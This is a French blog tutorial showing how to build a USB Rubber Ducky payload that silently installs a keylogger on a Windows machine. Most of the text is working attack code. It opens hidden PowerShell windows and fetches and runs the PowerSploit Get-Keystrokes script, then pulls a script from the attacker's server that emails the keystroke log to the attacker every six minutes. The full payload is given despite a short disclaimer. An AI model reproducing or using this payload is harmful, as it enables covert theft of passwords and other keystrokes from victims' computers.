USB Rubber Ducky: Un Keylogger en 3 secondes !

Date de publication: 05/03/2017

ATTENTION: Je ne suis en aucun cas responsable de vos actes. Cet article est purement à but informatif et éducatif. Utiliser ces techniques sur d’autres machines ne vous appartenant pas est illégal. Merci.

Salut à tous et à toutes, bande de geeks ! Nous nous retrouvons aujourd'hui pour un nouveau tutoriel sur notre canard préféré, le Rubber Ducky. Le Keylogger est un type de virus très ancien et très apprécié des pirates de par son efficacité et sa simplicité d’exécution. Son principe est simple: enregistrer toutes les frappes du clavier et les envoyer à l'attaquant.

Ainsi, l'individu peu scrupuleux aura accès à beaucoup d'informations qui peuvent être très intéressantes, notamment des mots de passes tapés lors d'une navigation Internet, etc… Je vais donc vous montrer dans ce tutoriel comment mettre en place un payload sur notre Rubber Ducky afin d'exécuter un Keylogger sur notre machine. Pour ce faire, nous allons utiliser le Keylogger développé en Powershell de Powershell Mafia, disponible sur leur Github (très intéressant au passage) qui regorge de scripts du même genre. Nous allons aussi avoir besoin d'un serveur web afin d'héberger notre script d'exfiltration de données. Voici donc l'algorithme de principe du payload:

Le principe est simple et le payload l'est aussi. L'avantage d'utiliser des fenêtres Powershell cachées (argument “-WindowStyle hidden”) est que cela maximise la discrétion de nos opérations. Commençons par la première étape qui consiste à télécharger et à exécuter le Keylogger dans une fenêtre Powershell cachée. Le script est totalement commenté en fonction des actions effectuées :

DELAY 2000
REM On ouvre la boite de dialogues
GUI r
DELAY 500
REM On lance une fenetre Powershell invisible pour plus de discretion
STRING powershell -WindowStyle hidden
ENTER
DELAY 1500
REM On telecharge le script keylogger depuis github (en tapant dans la fenetre invisible)
STRING IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1')
ENTER
DELAY 400
REM On execute le keylogger (en tapant dans la fenetre invisible) en specifiant le fichier de logs
STRING Get-Keystrokes -LogPath $env:tempkey.txt
ENTER

Ensuite, il ne reste plus qu'à télécharger et à exécuter le script nous permettant de nous envoyer le fichier logs par mail :

GUI r
DELAY 300
STRING powershell -WindowStyle hidden IEX (New-Object Net.WebClient).DownloadString('http://addresse_de_votre_serveur/mail.ps1')
ENTER

Le script “mail.ps1” hébergé sur votre serveur contiendra le contenu suivant :

$SMTPServer = 'smtp.gmail.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('VOTREADRESSE@gmail.com', 'VOTREPASSE')
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = 'VOTREADRESSE@gmail.com'
$ReportEmail.To.Add('VOTREADRESSE@gmail.com')
$ReportEmail.Subject = 'Keylogger - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
while(1){$ReportEmail.Attachments.Add("$ENV:tempkey.txt");$SMTPInfo.Send($ReportEmail);sleep 360}

Si vous ne souhaitez pas laisser le script à la racine de votre site, pensez à changer l'adresse dans le payload aussi ! En ce qui concerne le script d'exfiltration des données, rien de très compliqué pour ceux qui ont l'habitude de mes tutos sur le sujet.

Nous ne faisons que de mettre en place un template de mail qui contiendra notre fichier logs attaché. Une boucle infini s’exécute alors et un mail est envoyé toutes les 360 secondes (5min). Vous pouvez changer l'intervalle d'envoi à votre guise selon vos préférences.

Voici donc le payload pour le Ducky terminé :)

DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle hidden
ENTER
DELAY 1500
STRING IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1')
ENTER
DELAY 400
STRING Get-Keystrokes -LogPath $env:tempkey.txt
ENTER
DELAY 200
GUI r
DELAY 300
STRING powershell -WindowStyle hidden IEX (New-Object Net.WebClient).DownloadString('http://votre_serveur_web/mail.ps1')
ENTER

Vous pouvez changer les DELAY à votre guise, en fonction de la vitesse de réaction de votre machine. Ces valeurs sont adaptées pour une machine sous Windows 10 tournant avec un HDD.

-Si cet article vous a plût, n'hésitez pas à le partager et à me le dire ! Aussi si vous arriviez à optimiser ce payload, n'hésitez pas à me le dire en commentaire de l'article, ça me ferait très plaisir :) Je vous donne donc rendez-vous pour un nouvel article, et n'oubliez pas: Stay Tuned !